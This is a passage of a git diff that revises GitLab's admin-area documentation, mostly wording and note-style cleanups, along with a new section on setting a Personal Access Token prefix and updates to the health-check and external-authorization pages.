-NOTE: **Note:** -GitLab pipeline emails will also display the custom logo. +NOTE: +GitLab pipeline emails also display the custom logo. ## Favicon @@ -45,7 +45,7 @@ of the page to activate it in the GitLab instance. > - [Added](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/55057) to [GitLab Core](https://about.gitlab.com/pricing/) in 11.9. You can add a small header message, a small footer message, or both, to the interface -of your GitLab instance. These messages will appear on all projects and pages of the +of your GitLab instance. These messages appear on all projects and pages of the instance, including the sign in / sign up page. The default color is white text on an orange background, but this can be customized by clicking on **Customize colors**. @@ -69,7 +69,7 @@ and logo. You can make full use of [Markdown](../markdown.md) in the description  The optimal size for the logo is 640x360px, but any image can be used (below 1MB) -and it will be resized automatically. The logo image will appear between the title and +and it is resized automatically. The logo image appears between the title and the description, on the left of the sign-up page.  @@ -78,7 +78,7 @@ After you add a message, click **Update appearance settings** at the bottom of t to activate it in the GitLab instance. You can also click on the **Sign-in page** button, to review the saved appearance settings: -NOTE: **Note:** +NOTE: You can add also add a [customized help message](settings/help_page.md) below the sign in message or add [a Sign in text message](settings/sign_in_restrictions.md#sign-in-information). ## New project pages @@ -88,12 +88,12 @@ You can make full use of [Markdown](../markdown.md) in the description:  -The message will be displayed below the **New Project** message, on the left side +The message is displayed below the **New Project** message, on the left side of the **New project page**. After you add a message, click **Update appearance settings** at the bottom of the page to activate it in the GitLab instance. You can also click on the **New project page** -button, which will bring you to the new project page so you can review the change. +button, which brings you to the new project page so you can review the change.  diff --git a/doc/user/admin_area/approving_users.md b/doc/user/admin_area/approving_users.md index 430ad4f8899..af4d4e86e69 100644 --- a/doc/user/admin_area/approving_users.md +++ b/doc/user/admin_area/approving_users.md @@ -1,7 +1,7 @@ --- stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- diff --git a/doc/user/admin_area/blocking_unblocking_users.md b/doc/user/admin_area/blocking_unblocking_users.md index 989182db423..1dba9e5adda 100644 --- a/doc/user/admin_area/blocking_unblocking_users.md +++ b/doc/user/admin_area/blocking_unblocking_users.md @@ -1,7 +1,7 @@ --- stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -32,7 +32,7 @@ Personal projects, and group and user history of the blocked user are left intac Users can also be blocked using the [GitLab API](../../api/users.md#block-user). -NOTE: **Note:** +NOTE: A blocked user does not consume a [seat](../../subscriptions/self_managed/index.md#billable-users). ## Unblocking a user @@ -46,6 +46,6 @@ A blocked user can be unblocked from the Admin Area. To do this: Users can also be unblocked using the [GitLab API](../../api/users.md#unblock-user). -NOTE: **Note:** +NOTE: Unblocking a user changes the user's state to active and consumes a [seat](../../subscriptions/self_managed/index.md#billable-users). diff --git a/doc/user/admin_area/broadcast_messages.md b/doc/user/admin_area/broadcast_messages.md index 0bbdf5bc5e7..c96c57a99eb 100644 --- a/doc/user/admin_area/broadcast_messages.md +++ b/doc/user/admin_area/broadcast_messages.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -47,13 +47,13 @@ The available placeholders are: - `{{username}}` - `{{instance_id}}` -If the user is not signed in, user related values will be empty. +If the user is not signed in, user related values are empty.  Broadcast messages can be managed using the [broadcast messages API](../../api/broadcast_messages.md). -NOTE: **Note:** +NOTE: If more than one banner message is active at one time, they are displayed in a stack in order of creation. If more than one notification message is active at one time, only the newest is shown. @@ -70,12 +70,12 @@ To add a broadcast message: 1. Select a date for the message to start and end. 1. Click the **Add broadcast message** button. -NOTE: **Note:** +NOTE: The **Background color** field expects the value to be a hexadecimal code because the form uses the [color_field](https://api.rubyonrails.org/v6.0.3.4/classes/ActionView/Helpers/FormHelper.html#method-i-color_field) helper method, which generates the proper HTML to render. -NOTE: **Note:** +NOTE: Once a broadcast message has expired, it is no longer displayed in the UI but is still listed in the list of broadcast messages. User can also dismiss a broadcast message if the option **Dismissable** is set. @@ -89,7 +89,7 @@ To edit a broadcast message: 1. From the list of broadcast messages, click the appropriate button to edit the message. 1. After making the required changes, click the **Update broadcast message** button. -TIP: **Tip:** +NOTE: Expired messages can be made active again by changing their end date. ## Deleting a broadcast message @@ -103,7 +103,7 @@ To delete a broadcast message: Once deleted, the broadcast message is removed from the list of broadcast messages. -NOTE: **Note:** +NOTE: Broadcast messages can be deleted while active. <!-- ## Troubleshooting diff --git a/doc/user/admin_area/credentials_inventory.md b/doc/user/admin_area/credentials_inventory.md index fc04f9786b6..70bb070b13e 100644 --- a/doc/user/admin_area/credentials_inventory.md +++ b/doc/user/admin_area/credentials_inventory.md @@ -1,7 +1,7 @@ --- stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- diff --git a/doc/user/admin_area/custom_project_templates.md b/doc/user/admin_area/custom_project_templates.md index e148c5f063e..a9bc2ecf324 100644 --- a/doc/user/admin_area/custom_project_templates.md +++ b/doc/user/admin_area/custom_project_templates.md @@ -1,7 +1,7 @@ --- stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -20,10 +20,10 @@ available to the user if they have access to them. For example: - Private projects will be available only if the user is a member of the project. Repository and database information that are copied over to each new project are -identical to the data exported with -[GitLab's Project Import/Export](../project/settings/import_export.md). +identical to the data exported with the +[GitLab Project Import/Export](../project/settings/import_export.md). -NOTE: **Note:** +NOTE: To set project templates at a group level, see [Custom group-level project templates](../group/custom_project_templates.md). @@ -37,7 +37,7 @@ source for an entire GitLab instance by: 1. Selecting a group to use. 1. Pressing **Save changes**. -NOTE: **Note:** +NOTE: Projects below subgroups of the template group are **not** supported. <!-- ## Troubleshooting diff --git a/doc/user/admin_area/diff_limits.md b/doc/user/admin_area/diff_limits.md index b9bd94e65be..b5fcab58535 100644 --- a/doc/user/admin_area/diff_limits.md +++ b/doc/user/admin_area/diff_limits.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -20,10 +20,10 @@ shown. Patches greater than 10% of this size will be automatically collapsed, and a link to expand the diff will be presented. -NOTE: **Note:** +NOTE: Merge requests and branch comparison views will be affected. -CAUTION: **Caution:** +WARNING: This setting is experimental. An increased maximum will increase resource consumption of your instance. Keep this in mind when adjusting the maximum. diff --git a/doc/user/admin_area/geo_nodes.md b/doc/user/admin_area/geo_nodes.md index 28738ed52f3..81e987d25d6 100644 --- a/doc/user/admin_area/geo_nodes.md +++ b/doc/user/admin_area/geo_nodes.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -64,7 +64,7 @@ which is used by users. Internal URL does not need to be a private address. Internal URL defaults to External URL, but you can customize it under **Admin Area > Geo > Nodes**. -CAUTION: **Warning:** +WARNING: We recommend using an HTTPS connection while configuring the Geo nodes. To avoid breaking communication between **primary** and **secondary** nodes when using HTTPS, customize your Internal URL to point to a load balancer with TLS diff --git a/doc/user/admin_area/index.md b/doc/user/admin_area/index.md index fd8c72ad081..40cb6bd0853 100644 --- a/doc/user/admin_area/index.md +++ b/doc/user/admin_area/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -14,7 +14,7 @@ To access the Admin Area, either: - Click the Admin Area icon (**{admin}**). - Visit `/admin` on your self-managed instance. -NOTE: **Note:** +NOTE: Only admin users can access the Admin Area. ## Admin Area sections @@ -24,7 +24,7 @@ The Admin Area is made up of the following sections: | Section | Description | |:-----------------------------------------------|:-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | **{overview}** [Overview](#overview-section) | View your GitLab [Dashboard](#admin-dashboard), and administer [projects](#administering-projects), [users](#administering-users), [groups](#administering-groups), [jobs](#administering-jobs), [runners](#administering-runners), and [Gitaly servers](#administering-gitaly-servers). | -| **{monitor}** Monitoring | View GitLab [system information](#system-info), and information on [background jobs](#background-jobs), [logs](#logs), [health checks](monitoring/health_check.md), [requests profiles](#requests-profiles), and [audit logs](#audit-log). | +| **{monitor}** Monitoring | View GitLab [system information](#system-info), and information on [background jobs](#background-jobs), [logs](#logs), [health checks](monitoring/health_check.md), [requests profiles](#requests-profiles), and [audit events](#audit-events). | | **{messages}** Messages | Send and manage [broadcast messages](broadcast_messages.md) for your users. | | **{hook}** System Hooks | Configure [system hooks](../../system_hooks/system_hooks.md) for many events. | | **{applications}** Applications | Create system [OAuth applications](../../integration/oauth_provider.md) for integrations with other services. | @@ -37,7 +37,7 @@ The Admin Area is made up of the following sections: | **{lock}** Credentials **(ULTIMATE ONLY)** | View [credentials](credentials_inventory.md) that can be used to access your instance. | | **{template}** Service Templates | Create [service templates](../project/integrations/services_templates.md) for projects. | | **{labels}** Labels | Create and maintain [labels](labels.md) for your GitLab instance. | -| **{appearance}** Appearance | Customize [GitLab's appearance](appearance.md). | +| **{appearance}** Appearance | Customize [GitLab appearance](appearance.md). | | **{settings}** Settings | Modify the [settings](settings/index.md) for your GitLab instance. | ## Admin Dashboard @@ -94,7 +94,7 @@ The list of projects can be sorted by: A user can choose to hide or show archived projects in the list. -In the **Filter by name** field, type the project name you want to find, and GitLab will filter +In the **Filter by name** field, type the project name you want to find, and GitLab filters them as you type. Select from the **Namespace** dropdown to filter only projects in that namespace. @@ -322,6 +322,6 @@ The content of each log file is listed in chronological order. To minimize perfo The **Requests Profiles** page contains the token required for profiling. For more details, see [Request Profiling](../../administration/monitoring/performance/request_profiling.md). -### Audit Log **(PREMIUM ONLY)** +### Audit Events **(PREMIUM ONLY)** -The **Audit Log** page lists changes made within the GitLab server. With this information you can control, analyze, and track every change. +The **Audit Events** page lists changes made within the GitLab server. With this information you can control, analyze, and track every change. diff --git a/doc/user/admin_area/labels.md b/doc/user/admin_area/labels.md index 3c35276b843..cc9735df9d6 100644 --- a/doc/user/admin_area/labels.md +++ b/doc/user/admin_area/labels.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- diff --git a/doc/user/admin_area/license.md b/doc/user/admin_area/license.md index 2b0496b381a..d7710c362e5 100644 --- a/doc/user/admin_area/license.md +++ b/doc/user/admin_area/license.md @@ -1,7 +1,7 @@ --- stage: Growth group: Conversion -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -32,7 +32,7 @@ is locked. ## Uploading your license -The very first time you visit your GitLab EE installation signed in as an admin, +The very first time you visit your GitLab EE installation signed in as an administrator, you should see a note urging you to upload a license with a link that takes you to **Admin Area > License**. @@ -75,7 +75,7 @@ You can also specify a custom location and filename for the license: gitlab_rails['initial_license_file'] = "/path/to/license/file" ``` -CAUTION: **Caution:** +WARNING: These methods only add a license at the time of installation. Use the **{admin}** **Admin Area** in the web user interface to renew or upgrade licenses. @@ -94,13 +94,13 @@ You can review the license details at any time in the **License** section of the ## Notification before the license expires One month before the license expires, a message informing about the expiration -date is displayed to GitLab admins. Make sure that you update your +date is displayed to GitLab administrators. Make sure that you update your license, otherwise you miss all the paid features if your license expires. ## What happens when your license expires In case your license expires, GitLab locks down some features like Git pushes, -and issue creation, and displays a message to all admins to inform of the expired license. +and issue creation, and displays a message to all administrators to inform of the expired license. To get back all the previous functionality, you must upload a new license. To fall back to having only the Core features active, you must delete the diff --git a/doc/user/admin_area/merge_requests_approvals.md b/doc/user/admin_area/merge_requests_approvals.md index fb9ca21a214..5264f3b770b 100644 --- a/doc/user/admin_area/merge_requests_approvals.md +++ b/doc/user/admin_area/merge_requests_approvals.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, concepts --- diff --git a/doc/user/admin_area/monitoring/dev_ops_report.md b/doc/user/admin_area/monitoring/dev_ops_report.md index 9ad9830ed59..2cc9f153de3 100644 --- a/doc/user/admin_area/monitoring/dev_ops_report.md +++ b/doc/user/admin_area/monitoring/dev_ops_report.md @@ -3,3 +3,6 @@ redirect_to: '../analytics/dev_ops_report.md' --- This document was moved to [another location](../analytics/dev_ops_report.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/admin_area/monitoring/health_check.md b/doc/user/admin_area/monitoring/health_check.md index 88c98248435..3c08a330b13 100644 --- a/doc/user/admin_area/monitoring/health_check.md +++ b/doc/user/admin_area/monitoring/health_check.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- @@ -55,7 +55,7 @@ GET /-/health Example request: ```shell -curl 'https://gitlab.example.com/-/health' +curl "https://gitlab.example.com/-/health" ``` Example response: @@ -70,7 +70,7 @@ The readiness probe checks whether the GitLab instance is ready to accept traffic via Rails Controllers. The check by default does validate only instance-checks. -If the `all=1` parameter is specified, the check will also validate +If the `all=1` parameter is specified, the check also validates the dependent services (Database, Redis, Gitaly etc.) and gives a status for each. @@ -82,7 +82,7 @@ GET /-/readiness?all=1 Example request: ```shell -curl 'https://gitlab.example.com/-/readiness' +curl "https://gitlab.example.com/-/readiness" ``` Example response: @@ -97,7 +97,7 @@ Example response: } ``` -On failure, the endpoint will return a `503` HTTP status code. +On failure, the endpoint returns a `503` HTTP status code. This check does hit the database and Redis if authenticated via `token`. @@ -105,7 +105,7 @@ This check is being exempt from Rack Attack. ## Liveness -DANGER: **Warning:** +WARNING: In GitLab [12.4](https://about.gitlab.com/upcoming-releases/) the response body of the Liveness check was changed to match the example below. @@ -121,12 +121,12 @@ GET /-/liveness Example request: ```shell -curl 'https://gitlab.example.com/-/liveness' +curl "https://gitlab.example.com/-/liveness" ``` Example response: -On success, the endpoint will return a `200` HTTP status code, and a response like below. +On success, the endpoint returns a `200` HTTP status code, and a response like below. ```json { @@ -134,13 +134,13 @@ On success, the endpoint will return a `200` HTTP status code, and a response li } ``` -On failure, the endpoint will return a `503` HTTP status code. +On failure, the endpoint returns a `503` HTTP status code. This check is being exempt from Rack Attack. ## Access token (Deprecated) -NOTE: **Note:** +NOTE: Access token has been deprecated in GitLab 9.4 in favor of [IP whitelist](#ip-whitelist). An access token needs to be provided while accessing the probe endpoints. The current @@ -155,7 +155,7 @@ The access token can be passed as a URL parameter: https://gitlab.example.com/-/readiness?token=ACCESS_TOKEN ``` -NOTE: **Note:** +NOTE: In case the database or Redis service are inaccessible, the probe endpoints response is not guaranteed to be correct. You should switch to [IP whitelist](#ip-whitelist) from deprecated access token to avoid it. diff --git a/doc/user/admin_area/settings/account_and_limit_settings.md b/doc/user/admin_area/settings/account_and_limit_settings.md index 97c74483cc3..bc266216714 100644 --- a/doc/user/admin_area/settings/account_and_limit_settings.md +++ b/doc/user/admin_area/settings/account_and_limit_settings.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- @@ -13,7 +13,7 @@ You can change the maximum file size for attachments in comments and replies in Navigate to **Admin Area (wrench icon) > Settings > General**, then expand **Account and Limit**. From here, you can increase or decrease by changing the value in `Maximum attachment size (MB)`. -NOTE: **Note:** +NOTE: If you choose a size larger than what is currently configured for the web server, you will likely get errors. See the [troubleshooting section](#troubleshooting) for more details. @@ -30,11 +30,30 @@ You can change the maximum file size for imports in GitLab. Navigate to **Admin Area (wrench icon) > Settings > General**, then expand **Account and Limit**. From here, you can increase or decrease by changing the value in `Maximum import size (MB)`. -NOTE: **Note:** +NOTE: If you choose a size larger than what is currently configured for the web server, you will likely get errors. See the [troubleshooting section](#troubleshooting) for more details. +## Personal Access Token prefix + +You can set a global prefix for all generated Personal Access Tokens. + +A prefix can help you identify PATs visually, as well as with automation tools. + +### Setting a prefix + +Only a GitLab administrator can set the prefix, which is a global setting applied +to any PAT generated in the system by any user: + +1. Navigate to **Admin Area > Settings > General**. +1. Expand the **Account and limit** section. +1. Fill in the **Personal Access Token prefix** field. +1. Click **Save changes**. + +It is also possible to configure the prefix via the [settings API](../../../api/settings.md) +using the `personal_access_token_prefix` field. + ## Repository size limit **(STARTER ONLY)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/740) in [GitLab Enterprise Edition 8.12](https://about.gitlab.com/releases/2016/09/22/gitlab-8-12-released/#limit-project-size-ee). @@ -71,7 +90,7 @@ These settings can be found within: 1. From the Group's homepage, navigate to **Settings > General**. 1. Fill in the **Repository size limit (MB)** field in the **Naming, visibility** section. 1. Click **Save changes**. -- GitLab's global settings: +- GitLab global settings: 1. From the Dashboard, navigate to **Admin Area > Settings > General**. 1. Expand the **Account and limit** section. 1. Fill in the **Size limit per repository (MB)** field. @@ -81,13 +100,13 @@ The first push of a new project, including LFS objects, will be checked for size and **will** be rejected if the sum of their sizes exceeds the maximum allowed repository size. -NOTE: **Note:** +NOTE: The repository size limit includes repository files and LFS, but does not include artifacts, uploads, wiki, packages, or snippets. For details on manually purging files, see [reducing the repository size using Git](../../project/repository/reducing_the_repo_size_using_git.md). -NOTE: **Note:** +NOTE: For GitLab.com repository size limits, see [accounts and limit settings](../../gitlab_com/index.md#account-and-limit-settings). ## Troubleshooting @@ -182,5 +201,5 @@ To do this: 1. Navigate to **Admin Area > Settings > General**, then expand **Account and Limit**. 1. Check the **Prevent users from changing their profile name** checkbox. -NOTE: **Note:** +NOTE: When this ability is disabled, GitLab administrators will still be able to update the name of any user in their instance via the [Admin UI](../index.md#administering-users) or the [API](../../../api/users.md#user-modification) diff --git a/doc/user/admin_area/settings/continuous_integration.md b/doc/user/admin_area/settings/continuous_integration.md index b4867d33644..ef2eb046c21 100644 --- a/doc/user/admin_area/settings/continuous_integration.md +++ b/doc/user/admin_area/settings/continuous_integration.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -62,7 +62,7 @@ To change it at the: 1. Change the value of **maximum artifacts size (in MB)**. 1. Click **Save changes** for the changes to take effect. -NOTE: **Note:** +NOTE: The setting at all levels is only available to GitLab administrators. ## Default artifacts expiration **(CORE ONLY)** @@ -80,7 +80,7 @@ This setting is set per job and can be overridden in [`.gitlab-ci.yml`](../../../ci/yaml/README.md#artifactsexpire_in). To disable the expiration, set it to `0`. The default unit is in seconds. -NOTE: **Note:** +NOTE: Any changes to this setting will apply to new artifacts only. The expiration time will not be updated for artifacts created before this setting was changed. The administrator may need to manually search for and expire previously-created @@ -172,7 +172,7 @@ but commented out to help encourage others to add to it in the future. --> ## Required pipeline configuration **(PREMIUM ONLY)** -CAUTION: **Caution:** +WARNING: This feature is being re-evaluated in favor of a different [compliance solution](https://gitlab.com/gitlab-org/gitlab/-/issues/34830). We recommend that users who haven't yet implemented this feature wait for diff --git a/doc/user/admin_area/settings/email.md b/doc/user/admin_area/settings/email.md index d956364b3ea..4ebfac57715 100644 --- a/doc/user/admin_area/settings/email.md +++ b/doc/user/admin_area/settings/email.md @@ -2,10 +2,9 @@ type: reference stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- - # Email **(CORE ONLY)** You can customize some of the content in emails sent from your GitLab instance. @@ -18,7 +17,7 @@ The logo in the header of some emails can be customized, see the [logo customiza > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5031) in [GitLab Premium](https://about.gitlab.com/pricing/) 10.7. -The additional text will appear at the bottom of any email and can be used for +The additional text appears at the bottom of any email and can be used for legal/auditing/compliance reasons. 1. Go to **Admin Area > Settings > Preferences** (`/admin/application_settings/preferences`). @@ -37,10 +36,10 @@ In order to change this option: 1. Go to **Admin Area > Settings > Preferences** (`/admin/application_settings/preferences`). 1. Expand the **Email** section. -1. Enter the desire hostname in the **Custom hostname (for private commit emails)** field. -1. Click **Save changes**. +1. Enter the desired hostname in the **Custom hostname (for private commit emails)** field. +1. Select **Save changes**. -NOTE: **Note:** +NOTE: Once the hostname gets configured, every private commit email using the previous hostname, will not get recognized by GitLab. This can directly conflict with certain [Push rules](../../../push_rules/push_rules.md) such as `Check whether author is a GitLab user` and `Check whether committer is the current authenticated user`. diff --git a/doc/user/admin_area/settings/external_authorization.md b/doc/user/admin_area/settings/external_authorization.md index 80bca6f5b2c..18ae7e6f05a 100644 --- a/doc/user/admin_area/settings/external_authorization.md +++ b/doc/user/admin_area/settings/external_authorization.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -17,30 +17,30 @@ authorization with your own defined service. ## Overview -Once the external service is configured and enabled, when a project is accessed, -a request is made to the external service with the user information and project -classification label assigned to the project. When the service replies with a -known response, the result is cached for 6 hours. +After the external service is configured and enabled, when a project is +accessed, a request is made to the external service with the user information +and project classification label assigned to the project. When the service +replies with a known response, the result is cached for six hours. -If the external authorization is enabled, GitLab will further block pages and +If the external authorization is enabled, GitLab further blocks pages and functionality that render cross-project data. That includes: - Most pages under Dashboard (Activity, Milestones, Snippets, Assigned merge requests, Assigned issues, To-Do List). - Under a specific group (Activity, Contribution analytics, Issues, Issue boards, Labels, Milestones, Merge requests). -- Global and Group search will be disabled. +- Global and Group search are disabled. This is to prevent performing to many requests at once to the external authorization service. Whenever access is granted or denied this is logged in a log file called -`external-policy-access-control.log`. -Read more about logs GitLab keeps in the [omnibus documentation](https://docs.gitlab.com/omnibus/settings/logs.html). +`external-policy-access-control.log`. Read more about the logs GitLab keeps in +the [Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/logs.html). ## Configuration -The external authorization service can be enabled by an admin on the GitLab's +The external authorization service can be enabled by an administrator on the GitLab **Admin Area > Settings > General** page:  @@ -48,7 +48,7 @@ The external authorization service can be enabled by an admin on the GitLab's The available required properties are: - **Service URL**: The URL to make authorization requests to. When leaving the - URL blank, cross project features will remain available while still being able + URL blank, cross project features remain available while still being able to specify classification labels for projects. - **External authorization request timeout**: The timeout after which an authorization request is aborted. When a request times out, access is denied @@ -58,19 +58,21 @@ The available required properties are: - **Client authentication key**: Private key for the certificate when authentication is required for the external authorization service, this is encrypted when stored. -- **Client authentication key password**: Passphrase to use for the private key when authenticating with the external service this is encrypted when stored. +- **Client authentication key password**: Passphrase to use for the private key + when authenticating with the external service this is encrypted when stored. - **Default classification label**: The classification label to use when requesting authorization if no specific label is defined on the project When using TLS Authentication with a self signed certificate, the CA certificate -needs to be trusted by the OpenSSL installation. When using GitLab installed using -Omnibus, learn to install a custom CA in the -[omnibus documentation](https://docs.gitlab.com/omnibus/settings/ssl.html). Alternatively learn where to install -custom certificates using `openssl version -d`. +needs to be trusted by the OpenSSL installation. When using GitLab installed +using Omnibus, learn to install a custom CA in the +[Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/ssl.html). +Alternatively, learn where to install custom certificates by using +`openssl version -d`. ## How it works -When GitLab requests access, it will send a JSON POST request to the external +When GitLab requests access, it sends a JSON POST request to the external service with this body: ```json @@ -85,14 +87,17 @@ service with this body: } ``` -The `user_ldap_dn` is optional and is only sent when the user is logged in +The `user_ldap_dn` is optional and is only sent when the user is signed in through LDAP. -`identities` will contain the details of all the identities associated with the user. This will be an empty array if there are no identities associated with the user. +`identities` contains the details of all the identities associated with the +user. This is an empty array if there are no identities associated with the +user. When the external authorization service responds with a status code 200, the user is granted access. When the external service responds with a status code -401 or 403, the user is denied access. In any case, the request is cached for 6 hours. +401 or 403, the user is denied access. In any case, the request is cached for +six hours. When denying access, a `reason` can be optionally specified in the JSON body: @@ -102,20 +107,20 @@ When denying access, a `reason` can be optionally specified in the JSON body: } ``` -Any other status code than 200, 401 or 403 will also deny access to the user, but the -response will not be cached. +Any other status code than 200, 401 or 403 also deny access to the user, but the +response isn't cached. If the service times out (after 500ms), a message "External Policy Server did -not respond" will be displayed. +not respond" is displayed. ## Classification labels You can use your own classification label in the project's **Settings > General > General project settings** page in the "Classification label" box. When no classification label is specified on a project, the default -label defined in the [global settings](#configuration) will be used. +label defined in the [global settings](#configuration) is used. -The label will be shown on all project pages in the upper right corner. +The label is shown on all project pages in the upper right corner.  diff --git a/doc/user/admin_area/settings/gitaly_timeouts.md b/doc/user/admin_area/settings/gitaly_timeouts.md index cac05678a1a..d196dc1730e 100644 --- a/doc/user/admin_area/settings/gitaly_timeouts.md +++ b/doc/user/admin_area/settings/gitaly_timeouts.md @@ -1,7 +1,7 @@ --- stage: Create group: Gitaly -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- diff --git a/doc/user/admin_area/settings/help_page.md b/doc/user/admin_area/settings/help_page.md index c0237c3da73..1ac54bdc037 100644 --- a/doc/user/admin_area/settings/help_page.md +++ b/doc/user/admin_area/settings/help_page.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -13,7 +13,7 @@ to go for help. You can customize and display this information on the GitLab ser ## Adding a help message to the help page -You can add a help message, which will be shown on the GitLab `/help` page (e.g., +You can add a help message, which is shown on the GitLab `/help` page (e.g., <https://gitlab.com/help>) in a new section at the top of the `/help` page: 1. Navigate to **Admin Area > Settings > Preferences**, then expand **Help page**. @@ -27,7 +27,7 @@ You can add a help message, which will be shown on the GitLab `/help` page (e.g. ## Adding a help message to the login page **(STARTER)** -You can add a help message, which will be shown on the GitLab login page in a new section +You can add a help message, which is shown on the GitLab login page in a new section titled `Need Help?`, located below the login page message: 1. Navigate to **Admin Area > Settings > Preferences**, then expand **Help page**. diff --git a/doc/user/admin_area/settings/img/user_and_ip_rate_limits.png b/doc/user/admin_area/settings/img/user_and_ip_rate_limits.png Binary files differindex 53dc0e4ac87..5056e8354a9 100644 --- a/doc/user/admin_area/settings/img/user_and_ip_rate_limits.png +++ b/doc/user/admin_area/settings/img/user_and_ip_rate_limits.png diff --git a/doc/user/admin_area/settings/import_export_rate_limits.md b/doc/user/admin_area/settings/import_export_rate_limits.md index 92cb2a1a109..c6b965c18d3 100644 --- a/doc/user/admin_area/settings/import_export_rate_limits.md +++ b/doc/user/admin_area/settings/import_export_rate_limits.md @@ -2,7 +2,7 @@ type: reference stage: Manage group: Import -info: To determine the technical writer assigned to the 